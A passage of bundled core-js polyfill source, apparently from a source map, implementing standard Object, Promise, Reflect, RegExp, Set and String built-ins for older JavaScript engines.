freeze: function freeze(it) {\n return $freeze && isObject(it) ? $freeze(onFreeze(it)) : it;\n }\n});\n","var $ = require('../internals/export');\nvar fails = require('../internals/fails');\nvar toIndexedObject = require('../internals/to-indexed-object');\nvar nativeGetOwnPropertyDescriptor = require('../internals/object-get-own-property-descriptor').f;\nvar DESCRIPTORS = require('../internals/descriptors');\n\nvar FAILS_ON_PRIMITIVES = fails(function () { nativeGetOwnPropertyDescriptor(1); });\nvar FORCED = !DESCRIPTORS || FAILS_ON_PRIMITIVES;\n\n// `Object.getOwnPropertyDescriptor` method\n// https://tc39.es/ecma262/#sec-object.getownpropertydescriptor\n$({ target: 'Object', stat: true, forced: FORCED, sham: !DESCRIPTORS }, {\n getOwnPropertyDescriptor: function getOwnPropertyDescriptor(it, key) {\n return nativeGetOwnPropertyDescriptor(toIndexedObject(it), key);\n }\n});\n","var $ = require('../internals/export');\nvar DESCRIPTORS = require('../internals/descriptors');\nvar ownKeys = require('../internals/own-keys');\nvar toIndexedObject = require('../internals/to-indexed-object');\nvar getOwnPropertyDescriptorModule = require('../internals/object-get-own-property-descriptor');\nvar createProperty = require('../internals/create-property');\n\n// `Object.getOwnPropertyDescriptors` method\n// https://tc39.es/ecma262/#sec-object.getownpropertydescriptors\n$({ target: 'Object', stat: true, sham: !DESCRIPTORS }, {\n getOwnPropertyDescriptors: function getOwnPropertyDescriptors(object) {\n var O = toIndexedObject(object);\n var getOwnPropertyDescriptor = getOwnPropertyDescriptorModule.f;\n var keys = ownKeys(O);\n var result = {};\n var index = 0;\n var key, descriptor;\n while (keys.length > index) {\n descriptor = getOwnPropertyDescriptor(O, key = keys[index++]);\n if (descriptor !== undefined) createProperty(result, key, descriptor);\n }\n return result;\n }\n});\n","var $ = require('../internals/export');\nvar fails = require('../internals/fails');\nvar toObject = require('../internals/to-object');\nvar nativeGetPrototypeOf = require('../internals/object-get-prototype-of');\nvar CORRECT_PROTOTYPE_GETTER = require('../internals/correct-prototype-getter');\n\nvar FAILS_ON_PRIMITIVES = fails(function () { nativeGetPrototypeOf(1); });\n\n// `Object.getPrototypeOf` method\n// https://tc39.es/ecma262/#sec-object.getprototypeof\n$({ target: 'Object', stat: true, forced: FAILS_ON_PRIMITIVES, sham: !CORRECT_PROTOTYPE_GETTER }, {\n getPrototypeOf: function getPrototypeOf(it) {\n return nativeGetPrototypeOf(toObject(it));\n }\n});\n\n","var $ = require('../internals/export');\nvar toObject = require('../internals/to-object');\nvar nativeKeys = require('../internals/object-keys');\nvar fails = require('../internals/fails');\n\nvar FAILS_ON_PRIMITIVES = fails(function () { nativeKeys(1); });\n\n// `Object.keys` method\n// https://tc39.es/ecma262/#sec-object.keys\n$({ target: 'Object', stat: true, forced: FAILS_ON_PRIMITIVES }, {\n keys: function keys(it) {\n return nativeKeys(toObject(it));\n }\n});\n","var TO_STRING_TAG_SUPPORT = require('../internals/to-string-tag-support');\nvar redefine = require('../internals/redefine');\nvar toString = require('../internals/object-to-string');\n\n// `Object.prototype.toString` method\n// https://tc39.es/ecma262/#sec-object.prototype.tostring\nif (!TO_STRING_TAG_SUPPORT) {\n redefine(Object.prototype, 'toString', toString, { unsafe: true });\n}\n","var $ = require('../internals/export');\nvar $values = require('../internals/object-to-array').values;\n\n// `Object.values` method\n// https://tc39.es/ecma262/#sec-object.values\n$({ target: 'Object', stat: true }, {\n values: function values(O) {\n return $values(O);\n }\n});\n","'use strict';\nvar $ = require('../internals/export');\nvar call = require('../internals/function-call');\nvar aCallable = require('../internals/a-callable');\nvar newPromiseCapabilityModule = require('../internals/new-promise-capability');\nvar perform = require('../internals/perform');\nvar iterate = require('../internals/iterate');\n\n// `Promise.allSettled` method\n// https://tc39.es/ecma262/#sec-promise.allsettled\n$({ target: 'Promise', stat: true }, {\n allSettled: function allSettled(iterable) {\n var C = this;\n var capability = newPromiseCapabilityModule.f(C);\n var resolve = capability.resolve;\n var reject = capability.reject;\n var result = perform(function () {\n var promiseResolve = aCallable(C.resolve);\n var values = [];\n var counter = 0;\n var remaining = 1;\n iterate(iterable, function (promise) {\n var index = counter++;\n var alreadyCalled = false;\n remaining++;\n call(promiseResolve, C, promise).then(function (value) {\n if (alreadyCalled) return;\n alreadyCalled = true;\n values[index] = { status: 'fulfilled', value: value };\n --remaining || resolve(values);\n }, function (error) {\n if (alreadyCalled) return;\n alreadyCalled = true;\n values[index] = { status: 'rejected', reason: error };\n --remaining || resolve(values);\n });\n });\n --remaining || resolve(values);\n });\n if (result.error) reject(result.value);\n return capability.promise;\n }\n});\n","'use strict';\nvar $ = require('../internals/export');\nvar aCallable = require('../internals/a-callable');\nvar getBuiltIn = require('../internals/get-built-in');\nvar call = require('../internals/function-call');\nvar newPromiseCapabilityModule = require('../internals/new-promise-capability');\nvar perform = require('../internals/perform');\nvar iterate = require('../internals/iterate');\n\nvar PROMISE_ANY_ERROR = 'No one promise resolved';\n\n// `Promise.any` method\n// https://tc39.es/ecma262/#sec-promise.any\n$({ target: 'Promise', stat: true }, {\n any: function any(iterable) {\n var C = this;\n var AggregateError = getBuiltIn('AggregateError');\n var capability = newPromiseCapabilityModule.f(C);\n var resolve = capability.resolve;\n var reject = capability.reject;\n var result = perform(function () {\n var promiseResolve = aCallable(C.resolve);\n var errors = [];\n var counter = 0;\n var remaining = 1;\n var alreadyResolved = false;\n iterate(iterable, function (promise) {\n var index = counter++;\n var alreadyRejected = false;\n remaining++;\n call(promiseResolve, C, promise).then(function (value) {\n if (alreadyRejected || alreadyResolved) return;\n alreadyResolved = true;\n resolve(value);\n }, function (error) {\n if (alreadyRejected || alreadyResolved) return;\n alreadyRejected = true;\n errors[index] = error;\n --remaining || reject(new AggregateError(errors, PROMISE_ANY_ERROR));\n });\n });\n --remaining || reject(new AggregateError(errors, PROMISE_ANY_ERROR));\n });\n if (result.error) reject(result.value);\n return capability.promise;\n }\n});\n","'use strict';\nvar $ = require('../internals/export');\nvar IS_PURE = require('../internals/is-pure');\nvar NativePromise = require('../internals/native-promise-constructor');\nvar fails = require('../internals/fails');\nvar getBuiltIn = require('../internals/get-built-in');\nvar isCallable = require('../internals/is-callable');\nvar speciesConstructor = require('../internals/species-constructor');\nvar promiseResolve = require('../internals/promise-resolve');\nvar redefine = require('../internals/redefine');\n\n// Safari bug https://bugs.webkit.org/show_bug.cgi?id=200829\nvar NON_GENERIC = !!NativePromise && fails(function () {\n NativePromise.prototype['finally'].call({ then: function () { /* empty */ } }, function () { /* empty */ });\n});\n\n// `Promise.prototype.finally` method\n// https://tc39.es/ecma262/#sec-promise.prototype.finally\n$({ target: 'Promise', proto: true, real: true, forced: NON_GENERIC }, {\n 'finally': function (onFinally) {\n var C = speciesConstructor(this, getBuiltIn('Promise'));\n var isFunction = isCallable(onFinally);\n return this.then(\n isFunction ? function (x) {\n return promiseResolve(C, onFinally()).then(function () { return x; });\n } : onFinally,\n isFunction ? function (e) {\n return promiseResolve(C, onFinally()).then(function () { throw e; });\n } : onFinally\n );\n }\n});\n\n// makes sure that native promise-based APIs `Promise#finally` properly works with patched `Promise#then`\nif (!IS_PURE && isCallable(NativePromise)) {\n var method = getBuiltIn('Promise').prototype['finally'];\n if (NativePromise.prototype['finally'] !== method) {\n redefine(NativePromise.prototype, 'finally', method, { unsafe: true });\n }\n}\n","'use strict';\nvar $ = require('../internals/export');\nvar IS_PURE = require('../internals/is-pure');\nvar global = require('../internals/global');\nvar getBuiltIn = require('../internals/get-built-in');\nvar call = require('../internals/function-call');\nvar NativePromise = require('../internals/native-promise-constructor');\nvar redefine = require('../internals/redefine');\nvar redefineAll = require('../internals/redefine-all');\nvar setPrototypeOf = require('../internals/object-set-prototype-of');\nvar setToStringTag = require('../internals/set-to-string-tag');\nvar setSpecies = require('../internals/set-species');\nvar aCallable = require('../internals/a-callable');\nvar isCallable = require('../internals/is-callable');\nvar isObject = require('../internals/is-object');\nvar anInstance = require('../internals/an-instance');\nvar inspectSource = require('../internals/inspect-source');\nvar iterate = require('../internals/iterate');\nvar checkCorrectnessOfIteration = require('../internals/check-correctness-of-iteration');\nvar speciesConstructor = require('../internals/species-constructor');\nvar task = require('../internals/task').set;\nvar microtask = require('../internals/microtask');\nvar promiseResolve = require('../internals/promise-resolve');\nvar hostReportErrors = require('../internals/host-report-errors');\nvar newPromiseCapabilityModule = require('../internals/new-promise-capability');\nvar perform = require('../internals/perform');\nvar InternalStateModule = require('../internals/internal-state');\nvar isForced = require('../internals/is-forced');\nvar wellKnownSymbol = require('../internals/well-known-symbol');\nvar IS_BROWSER = require('../internals/engine-is-browser');\nvar IS_NODE = require('../internals/engine-is-node');\nvar V8_VERSION = require('../internals/engine-v8-version');\n\nvar SPECIES = wellKnownSymbol('species');\nvar PROMISE = 'Promise';\n\nvar getInternalState = InternalStateModule.get;\nvar setInternalState = InternalStateModule.set;\nvar getInternalPromiseState = InternalStateModule.getterFor(PROMISE);\nvar NativePromisePrototype = NativePromise && NativePromise.prototype;\nvar PromiseConstructor = NativePromise;\nvar PromisePrototype = NativePromisePrototype;\nvar TypeError = global.TypeError;\nvar document = global.document;\nvar process = global.process;\nvar newPromiseCapability = newPromiseCapabilityModule.f;\nvar newGenericPromiseCapability = newPromiseCapability;\n\nvar DISPATCH_EVENT = !!(document && document.createEvent && global.dispatchEvent);\nvar NATIVE_REJECTION_EVENT = isCallable(global.PromiseRejectionEvent);\nvar UNHANDLED_REJECTION = 'unhandledrejection';\nvar REJECTION_HANDLED = 'rejectionhandled';\nvar PENDING = 0;\nvar FULFILLED = 1;\nvar REJECTED = 2;\nvar HANDLED = 1;\nvar UNHANDLED = 2;\nvar SUBCLASSING = false;\n\nvar Internal, OwnPromiseCapability, PromiseWrapper, nativeThen;\n\nvar FORCED = isForced(PROMISE, function () {\n var PROMISE_CONSTRUCTOR_SOURCE = inspectSource(PromiseConstructor);\n var GLOBAL_CORE_JS_PROMISE = PROMISE_CONSTRUCTOR_SOURCE !== String(PromiseConstructor);\n // V8 6.6 (Node 10 and Chrome 66) have a bug with resolving custom thenables\n // https://bugs.chromium.org/p/chromium/issues/detail?id=830565\n // We can't detect it synchronously, so just check versions\n if (!GLOBAL_CORE_JS_PROMISE && V8_VERSION === 66) return true;\n // We need Promise#finally in the pure version for preventing prototype pollution\n if (IS_PURE && !PromisePrototype['finally']) return true;\n // We can't use @@species feature detection in V8 since it causes\n // deoptimization and performance degradation\n // https://github.com/zloirock/core-js/issues/679\n if (V8_VERSION >= 51 && /native code/.test(PROMISE_CONSTRUCTOR_SOURCE)) return false;\n // Detect correctness of subclassing with @@species support\n var promise = new PromiseConstructor(function (resolve) { resolve(1); });\n var FakePromise = function (exec) {\n exec(function () { /* empty */ }, function () { /* empty */ });\n };\n var constructor = promise.constructor = {};\n constructor[SPECIES] = FakePromise;\n SUBCLASSING = promise.then(function () { /* empty */ }) instanceof FakePromise;\n if (!SUBCLASSING) return true;\n // Unhandled rejections tracking support, NodeJS Promise without it fails @@species test\n return !GLOBAL_CORE_JS_PROMISE && IS_BROWSER && !NATIVE_REJECTION_EVENT;\n});\n\nvar INCORRECT_ITERATION = FORCED || !checkCorrectnessOfIteration(function (iterable) {\n PromiseConstructor.all(iterable)['catch'](function () { /* empty */ });\n});\n\n// helpers\nvar isThenable = function (it) {\n var then;\n return isObject(it) && isCallable(then = it.then) ? then : false;\n};\n\nvar notify = function (state, isReject) {\n if (state.notified) return;\n state.notified = true;\n var chain = state.reactions;\n microtask(function () {\n var value = state.value;\n var ok = state.state == FULFILLED;\n var index = 0;\n // variable length - can't use forEach\n while (chain.length > index) {\n var reaction = chain[index++];\n var handler = ok ? reaction.ok : reaction.fail;\n var resolve = reaction.resolve;\n var reject = reaction.reject;\n var domain = reaction.domain;\n var result, then, exited;\n try {\n if (handler) {\n if (!ok) {\n if (state.rejection === UNHANDLED) onHandleUnhandled(state);\n state.rejection = HANDLED;\n }\n if (handler === true) result = value;\n else {\n if (domain) domain.enter();\n result = handler(value); // can throw\n if (domain) {\n domain.exit();\n exited = true;\n }\n }\n if (result === reaction.promise) {\n reject(TypeError('Promise-chain cycle'));\n } else if (then = isThenable(result)) {\n call(then, result, resolve, reject);\n } else resolve(result);\n } else reject(value);\n } catch (error) {\n if (domain && !exited) domain.exit();\n reject(error);\n }\n }\n state.reactions = [];\n state.notified = false;\n if (isReject && !state.rejection) onUnhandled(state);\n });\n};\n\nvar dispatchEvent = function (name, promise, reason) {\n var event, handler;\n if (DISPATCH_EVENT) {\n event = document.createEvent('Event');\n event.promise = promise;\n event.reason = reason;\n event.initEvent(name, false, true);\n global.dispatchEvent(event);\n } else event = { promise: promise, reason: reason };\n if (!NATIVE_REJECTION_EVENT && (handler = global['on' + name])) handler(event);\n else if (name === UNHANDLED_REJECTION) hostReportErrors('Unhandled promise rejection', reason);\n};\n\nvar onUnhandled = function (state) {\n call(task, global, function () {\n var promise = state.facade;\n var value = state.value;\n var IS_UNHANDLED = isUnhandled(state);\n var result;\n if (IS_UNHANDLED) {\n result = perform(function () {\n if (IS_NODE) {\n process.emit('unhandledRejection', value, promise);\n } else dispatchEvent(UNHANDLED_REJECTION, promise, value);\n });\n // Browsers should not trigger `rejectionHandled` event if it was handled here, NodeJS - should\n state.rejection = IS_NODE || isUnhandled(state) ? UNHANDLED : HANDLED;\n if (result.error) throw result.value;\n }\n });\n};\n\nvar isUnhandled = function (state) {\n return state.rejection !== HANDLED && !state.parent;\n};\n\nvar onHandleUnhandled = function (state) {\n call(task, global, function () {\n var promise = state.facade;\n if (IS_NODE) {\n process.emit('rejectionHandled', promise);\n } else dispatchEvent(REJECTION_HANDLED, promise, state.value);\n });\n};\n\nvar bind = function (fn, state, unwrap) {\n return function (value) {\n fn(state, value, unwrap);\n };\n};\n\nvar internalReject = function (state, value, unwrap) {\n if (state.done) return;\n state.done = true;\n if (unwrap) state = unwrap;\n state.value = value;\n state.state = REJECTED;\n notify(state, true);\n};\n\nvar internalResolve = function (state, value, unwrap) {\n if (state.done) return;\n state.done = true;\n if (unwrap) state = unwrap;\n try {\n if (state.facade === value) throw TypeError(\"Promise can't be resolved itself\");\n var then = isThenable(value);\n if (then) {\n microtask(function () {\n var wrapper = { done: false };\n try {\n call(then, value,\n bind(internalResolve, wrapper, state),\n bind(internalReject, wrapper, state)\n );\n } catch (error) {\n internalReject(wrapper, error, state);\n }\n });\n } else {\n state.value = value;\n state.state = FULFILLED;\n notify(state, false);\n }\n } catch (error) {\n internalReject({ done: false }, error, state);\n }\n};\n\n// constructor polyfill\nif (FORCED) {\n // 25.4.3.1 Promise(executor)\n PromiseConstructor = function Promise(executor) {\n anInstance(this, PromisePrototype);\n aCallable(executor);\n call(Internal, this);\n var state = getInternalState(this);\n try {\n executor(bind(internalResolve, state), bind(internalReject, state));\n } catch (error) {\n internalReject(state, error);\n }\n };\n PromisePrototype = PromiseConstructor.prototype;\n // eslint-disable-next-line no-unused-vars -- required for `.length`\n Internal = function Promise(executor) {\n setInternalState(this, {\n type: PROMISE,\n done: false,\n notified: false,\n parent: false,\n reactions: [],\n rejection: false,\n state: PENDING,\n value: undefined\n });\n };\n Internal.prototype = redefineAll(PromisePrototype, {\n // `Promise.prototype.then` method\n // https://tc39.es/ecma262/#sec-promise.prototype.then\n then: function then(onFulfilled, onRejected) {\n var state = getInternalPromiseState(this);\n var reactions = state.reactions;\n var reaction = newPromiseCapability(speciesConstructor(this, PromiseConstructor));\n reaction.ok = isCallable(onFulfilled) ? onFulfilled : true;\n reaction.fail = isCallable(onRejected) && onRejected;\n reaction.domain = IS_NODE ? process.domain : undefined;\n state.parent = true;\n reactions[reactions.length] = reaction;\n if (state.state != PENDING) notify(state, false);\n return reaction.promise;\n },\n // `Promise.prototype.catch` method\n // https://tc39.es/ecma262/#sec-promise.prototype.catch\n 'catch': function (onRejected) {\n return this.then(undefined, onRejected);\n }\n });\n OwnPromiseCapability = function () {\n var promise = new Internal();\n var state = getInternalState(promise);\n this.promise = promise;\n this.resolve = bind(internalResolve, state);\n this.reject = bind(internalReject, state);\n };\n newPromiseCapabilityModule.f = newPromiseCapability = function (C) {\n return C === PromiseConstructor || C === PromiseWrapper\n ? new OwnPromiseCapability(C)\n : newGenericPromiseCapability(C);\n };\n\n if (!IS_PURE && isCallable(NativePromise) && NativePromisePrototype !== Object.prototype) {\n nativeThen = NativePromisePrototype.then;\n\n if (!SUBCLASSING) {\n // make `Promise#then` return a polyfilled `Promise` for native promise-based APIs\n redefine(NativePromisePrototype, 'then', function then(onFulfilled, onRejected) {\n var that = this;\n return new PromiseConstructor(function (resolve, reject) {\n call(nativeThen, that, resolve, reject);\n }).then(onFulfilled, onRejected);\n // https://github.com/zloirock/core-js/issues/640\n }, { unsafe: true });\n\n // makes sure that native promise-based APIs `Promise#catch` properly works with patched `Promise#then`\n redefine(NativePromisePrototype, 'catch', PromisePrototype['catch'], { unsafe: true });\n }\n\n // make `.constructor === Promise` work for native promise-based APIs\n try {\n delete NativePromisePrototype.constructor;\n } catch (error) { /* empty */ }\n\n // make `instanceof Promise` work for native promise-based APIs\n if (setPrototypeOf) {\n setPrototypeOf(NativePromisePrototype, PromisePrototype);\n }\n }\n}\n\n$({ global: true, wrap: true, forced: FORCED }, {\n Promise: PromiseConstructor\n});\n\nsetToStringTag(PromiseConstructor, PROMISE, false, true);\nsetSpecies(PROMISE);\n\nPromiseWrapper = getBuiltIn(PROMISE);\n\n// statics\n$({ target: PROMISE, stat: true, forced: FORCED }, {\n // `Promise.reject` method\n // https://tc39.es/ecma262/#sec-promise.reject\n reject: function reject(r) {\n var capability = newPromiseCapability(this);\n call(capability.reject, undefined, r);\n return capability.promise;\n }\n});\n\n$({ target: PROMISE, stat: true, forced: IS_PURE || FORCED }, {\n // `Promise.resolve` method\n // https://tc39.es/ecma262/#sec-promise.resolve\n resolve: function resolve(x) {\n return promiseResolve(IS_PURE && this === PromiseWrapper ? PromiseConstructor : this, x);\n }\n});\n\n$({ target: PROMISE, stat: true, forced: INCORRECT_ITERATION }, {\n // `Promise.all` method\n // https://tc39.es/ecma262/#sec-promise.all\n all: function all(iterable) {\n var C = this;\n var capability = newPromiseCapability(C);\n var resolve = capability.resolve;\n var reject = capability.reject;\n var result = perform(function () {\n var $promiseResolve = aCallable(C.resolve);\n var values = [];\n var counter = 0;\n var remaining = 1;\n iterate(iterable, function (promise) {\n var index = counter++;\n var alreadyCalled = false;\n remaining++;\n call($promiseResolve, C, promise).then(function (value) {\n if (alreadyCalled) return;\n alreadyCalled = true;\n values[index] = value;\n --remaining || resolve(values);\n }, reject);\n });\n --remaining || resolve(values);\n });\n if (result.error) reject(result.value);\n return capability.promise;\n },\n // `Promise.race` method\n // https://tc39.es/ecma262/#sec-promise.race\n race: function race(iterable) {\n var C = this;\n var capability = newPromiseCapability(C);\n var reject = capability.reject;\n var result = perform(function () {\n var $promiseResolve = aCallable(C.resolve);\n iterate(iterable, function (promise) {\n call($promiseResolve, C, promise).then(capability.resolve, reject);\n });\n });\n if (result.error) reject(result.value);\n return capability.promise;\n }\n});\n","var $ = require('../internals/export');\nvar getBuiltIn = require('../internals/get-built-in');\nvar apply = require('../internals/function-apply');\nvar bind = require('../internals/function-bind');\nvar aConstructor = require('../internals/a-constructor');\nvar anObject = require('../internals/an-object');\nvar isObject = require('../internals/is-object');\nvar create = require('../internals/object-create');\nvar fails = require('../internals/fails');\n\nvar nativeConstruct = getBuiltIn('Reflect', 'construct');\nvar ObjectPrototype = Object.prototype;\nvar push = [].push;\n\n// `Reflect.construct` method\n// https://tc39.es/ecma262/#sec-reflect.construct\n// MS Edge supports only 2 arguments and argumentsList argument is optional\n// FF Nightly sets third argument as `new.target`, but does not create `this` from it\nvar NEW_TARGET_BUG = fails(function () {\n function F() { /* empty */ }\n return !(nativeConstruct(function () { /* empty */ }, [], F) instanceof F);\n});\n\nvar ARGS_BUG = !fails(function () {\n nativeConstruct(function () { /* empty */ });\n});\n\nvar FORCED = NEW_TARGET_BUG || ARGS_BUG;\n\n$({ target: 'Reflect', stat: true, forced: FORCED, sham: FORCED }, {\n construct: function construct(Target, args /* , newTarget */) {\n aConstructor(Target);\n anObject(args);\n var newTarget = arguments.length < 3 ? Target : aConstructor(arguments[2]);\n if (ARGS_BUG && !NEW_TARGET_BUG) return nativeConstruct(Target, args, newTarget);\n if (Target == newTarget) {\n // w/o altered newTarget, optimization for 0-4 arguments\n switch (args.length) {\n case 0: return new Target();\n case 1: return new Target(args[0]);\n case 2: return new Target(args[0], args[1]);\n case 3: return new Target(args[0], args[1], args[2]);\n case 4: return new Target(args[0], args[1], args[2], args[3]);\n }\n // w/o altered newTarget, lot of arguments case\n var $args = [null];\n apply(push, $args, args);\n return new (apply(bind, Target, $args))();\n }\n // with altered newTarget, not support built-in constructors\n var proto = newTarget.prototype;\n var instance = create(isObject(proto) ? proto : ObjectPrototype);\n var result = apply(Target, instance, args);\n return isObject(result) ? result : instance;\n }\n});\n","'use strict';\nvar $ = require('../internals/export');\nvar exec = require('../internals/regexp-exec');\n\n// `RegExp.prototype.exec` method\n// https://tc39.es/ecma262/#sec-regexp.prototype.exec\n$({ target: 'RegExp', proto: true, forced: /./.exec !== exec }, {\n exec: exec\n});\n","var DESCRIPTORS = require('../internals/descriptors');\nvar objectDefinePropertyModule = require('../internals/object-define-property');\nvar regExpFlags = require('../internals/regexp-flags');\nvar fails = require('../internals/fails');\n\nvar RegExpPrototype = RegExp.prototype;\n\nvar FORCED = DESCRIPTORS && fails(function () {\n // eslint-disable-next-line es/no-object-getownpropertydescriptor -- safe\n return Object.getOwnPropertyDescriptor(RegExpPrototype, 'flags').get.call({ dotAll: true, sticky: true }) !== 'sy';\n});\n\n// `RegExp.prototype.flags` getter\n// https://tc39.es/ecma262/#sec-get-regexp.prototype.flags\nif (FORCED) objectDefinePropertyModule.f(RegExpPrototype, 'flags', {\n configurable: true,\n get: regExpFlags\n});\n","'use strict';\nvar uncurryThis = require('../internals/function-uncurry-this');\nvar PROPER_FUNCTION_NAME = require('../internals/function-name').PROPER;\nvar redefine = require('../internals/redefine');\nvar anObject = require('../internals/an-object');\nvar isPrototypeOf = require('../internals/object-is-prototype-of');\nvar $toString = require('../internals/to-string');\nvar fails = require('../internals/fails');\nvar regExpFlags = require('../internals/regexp-flags');\n\nvar TO_STRING = 'toString';\nvar RegExpPrototype = RegExp.prototype;\nvar n$ToString = RegExpPrototype[TO_STRING];\nvar getFlags = uncurryThis(regExpFlags);\n\nvar NOT_GENERIC = fails(function () { return n$ToString.call({ source: 'a', flags: 'b' }) != '/a/b'; });\n// FF44- RegExp#toString has a wrong name\nvar INCORRECT_NAME = PROPER_FUNCTION_NAME && n$ToString.name != TO_STRING;\n\n// `RegExp.prototype.toString` method\n// https://tc39.es/ecma262/#sec-regexp.prototype.tostring\nif (NOT_GENERIC || INCORRECT_NAME) {\n redefine(RegExp.prototype, TO_STRING, function toString() {\n var R = anObject(this);\n var p = $toString(R.source);\n var rf = R.flags;\n var f = $toString(rf === undefined && isPrototypeOf(RegExpPrototype, R) && !('flags' in RegExpPrototype) ? getFlags(R) : rf);\n return '/' + p + '/' + f;\n }, { unsafe: true });\n}\n","'use strict';\nvar collection = require('../internals/collection');\nvar collectionStrong = require('../internals/collection-strong');\n\n// `Set` constructor\n// https://tc39.es/ecma262/#sec-set-objects\ncollection('Set', function (init) {\n return function Set() { return init(this, arguments.length ? arguments[0] : undefined); };\n}, collectionStrong);\n","'use strict';\nvar $ = require('../internals/export');\nvar codeAt = require('../internals/string-multibyte').codeAt;\n\n// `String.prototype.codePointAt` method\n// https://tc39.es/ecma262/#sec-string.prototype.codepointat\n$({ target: 'String', proto: true }, {\n codePointAt: function codePointAt(pos) {\n return codeAt(this, pos);\n }\n});\n","var $ = require('../internals/export');\nvar global = require('../internals/global');\nvar uncurryThis = require('../internals/function-uncurry-this');\nvar toAbsoluteIndex = require('../internals/to-absolute-index');\n\nvar RangeError = global.RangeError;\nvar fromCharCode = String.fromCharCode;\n// eslint-disable-next-line es/no-string-fromcodepoint -- required for testing\nvar $fromCodePoint = String.fromCodePoint;\nvar join = uncurryThis([].join);\n\n// length should be 1, old FF problem\nvar INCORRECT_LENGTH = !!$fromCodePoint && $fromCodePoint.length != 1;\n\n// `String.fromCodePoint` method\n// https://tc39.es/ecma262/#sec-string.fromcodepoint\n$({ target: 'String', stat: true, forced: INCORRECT_LENGTH }, {\n // eslint-disable-next-line no-unused-vars -- required for `.length`\n fromCodePoint: function fromCodePoint(x) {\n var elements = [];\n var length = arguments.length;\n var i = 0;\n var code;\n while (length > i) {\n code = +arguments[i++];\n if (toAbsoluteIndex(code, 0x10FFFF) !== code) throw RangeError(code + ' is not a valid code point');\n elements[i] = code < 0x10000\n ? fromCharCode(code)\n : fromCharCode(((code -= 0x10000) >> 10) + 0xD800, code % 0x400 + 0xDC00);\n } return join(elements, '');\n }\n});\n","'use strict';\nvar $ = require('../internals/export');\nvar uncurryThis = require('../internals/function-uncurry-this');\nvar notARegExp = require('../internals/not-a-regexp');\nvar requireObjectCoercible = require('../internals/require-object-coercible');\nvar toString = require('../internals/to-string');\nvar correctIsRegExpLogic = require('../internals/correct-is-regexp-logic');\n\nvar stringIndexOf = uncurryThis(''.indexOf);\n\n// `String.prototype.includes` method\n// https://tc39.es/ecma262/#sec-string.prototype.includes\n$({ target: 'String', proto: true, forced: !correctIsRegExpLogic('includes') }, {\n includes: function includes(searchString /* , position = 0 */) {\n return !!~stringIndexOf(\n toString(requireObjectCoercible(this)),\n toString(notARegExp(searchString)),\n arguments.length > 1 ? arguments[1] : undefined\n );\n }\n});\n","'use strict';\nvar $ = require('../internals/export');\nvar createHTML = require('../internals/create-html');\nvar forcedStringHTMLMethod = require('../internals/string-html-forced');\n\n// `String.prototype.italics` method\n// https://tc39.es/ecma262/#sec-string.prototype.italics\n$({ target: 'String', proto: true, forced: forcedStringHTMLMethod('italics') }, {\n italics: function italics() {\n return createHTML(this, 'i', '', '');\n }\n});\n","'use strict';\nvar charAt = require('../internals/string-multibyte').charAt;\nvar toString = require('../internals/to-string');\nvar InternalStateModule = require('../internals/internal-state');\nvar defineIterator = require('../internals/define-iterator');\n\nvar STRING_ITERATOR = 'String Iterator';\nvar setInternalState = InternalStateModule.set;\nvar getInternalState = InternalStateModule.getterFor(STRING_ITERATOR);\n\n// `String.prototype[@@iterator]` method\n// https://tc39.es/ecma262/#sec-string.prototype-@@iterator\ndefineIterator(String, 'String', function (iterated) {\n setInternalState(this, {\n type: STRING_ITERATOR,\n string: toString(iterated),\n index: 0\n });\n// `%StringIteratorPrototype%.next` method\n// https://tc39.es/ecma262/#sec-%stringiteratorprototype%.next\n}, function next() {\n var state = getInternalState(this);\n var string = state.string;\n var index = state.index;\n var point;\n if (index >= string.length) return { value: undefined, done: true };\n point = charAt(string, index);\n state.index += point.length;\n return { value: point, done: false };\n});\n","'use strict';\nvar $ = require('../internals/export');\nvar createHTML = require('../internals/create-html');\nvar forcedStringHTMLMethod = require('../internals/string-html-forced');\n\n// `String.prototype.link` method\n// https://tc39.es/ecma262/#sec-string.prototype.link\n$({ target: 'String', proto: true, forced: forcedStringHTMLMethod('link') }, {\n link: function link(url) {\n return createHTML(this, 'a', 'href', url);\n }\n});\n","'use strict';\n/* eslint-disable es/no-string-prototype-matchall -- safe */\nvar $ = require('../internals/export');\nvar global = require('../internals/global');\nvar call = require('../internals/function-call');\nvar uncurryThis = require('../internals/function-uncurry-this');\nvar createIteratorConstructor = require('../internals/create-iterator-constructor');\nvar requireObjectCoercible = require('../internals/require-object-coercible');\nvar toLength = require('../internals/to-length');\nvar toString = require('../internals/to-string');\nvar anObject = require('../internals/an-object');\nvar classof = require('../internals/classof-raw');\nvar isPrototypeOf = require('../internals/object-is-prototype-of');\nvar isRegExp = require('../internals/is-regexp');\nvar regExpFlags = require('../internals/regexp-flags');\nvar getMethod = require('../internals/get-method');\nvar redefine = require('../internals/redefine');\nvar fails = require('../internals/fails');\nvar wellKnownSymbol = require('../internals/well-known-symbol');\nvar speciesConstructor = require('../internals/species-constructor');\nvar advanceStringIndex = require('../internals/advance-string-index');\nvar regExpExec = require('../internals/regexp-exec-abstract');\nvar InternalStateModule = require('../internals/internal-state');\nvar IS_PURE = require('../internals/is-pure');\n\nvar MATCH_ALL = wellKnownSymbol('matchAll');\nvar REGEXP_STRING = 'RegExp String';\nvar REGEXP_STRING_ITERATOR = REGEXP_STRING + ' Iterator';\nvar setInternalState = InternalStateModule.set;\nvar getInternalState = InternalStateModule.getterFor(REGEXP_STRING_ITERATOR);\nvar RegExpPrototype = RegExp.prototype;\nvar TypeError = global.TypeError;\nvar getFlags = uncurryThis(regExpFlags);\nvar stringIndexOf = uncurryThis(''.indexOf);\nvar un$MatchAll = uncurryThis(''.matchAll);\n\nvar WORKS_WITH_NON_GLOBAL_REGEX = !!un$MatchAll && !fails(function () {\n un$MatchAll('a', /./);\n});\n\nvar $RegExpStringIterator = createIteratorConstructor(function RegExpStringIterator(regexp, string, $global, fullUnicode) {\n setInternalState(this, {\n type: REGEXP_STRING_ITERATOR,\n regexp: regexp,\n string: string,\n global: $global,\n unicode: fullUnicode,\n done: false\n });\n}, REGEXP_STRING, function next() {\n var state = getInternalState(this);\n if (state.done) return { value: undefined, done: true };\n var R = state.regexp;\n var S = state.string;\n var match = regExpExec(R, S);\n if (match === null) return { value: undefined, done: state.done = true };\n if (state.global) {\n if (toString(match[0]) === '') R.lastIndex = advanceStringIndex(S, toLength(R.lastIndex), state.unicode);\n return { value: match, done: false };\n }\n state.done = true;\n return { value: match, done: false };\n});\n\nvar $matchAll = function (string) {\n var R = anObject(this);\n var S = toString(string);\n var C, flagsValue, flags, matcher, $global, fullUnicode;\n C = speciesConstructor(R, RegExp);\n flagsValue = 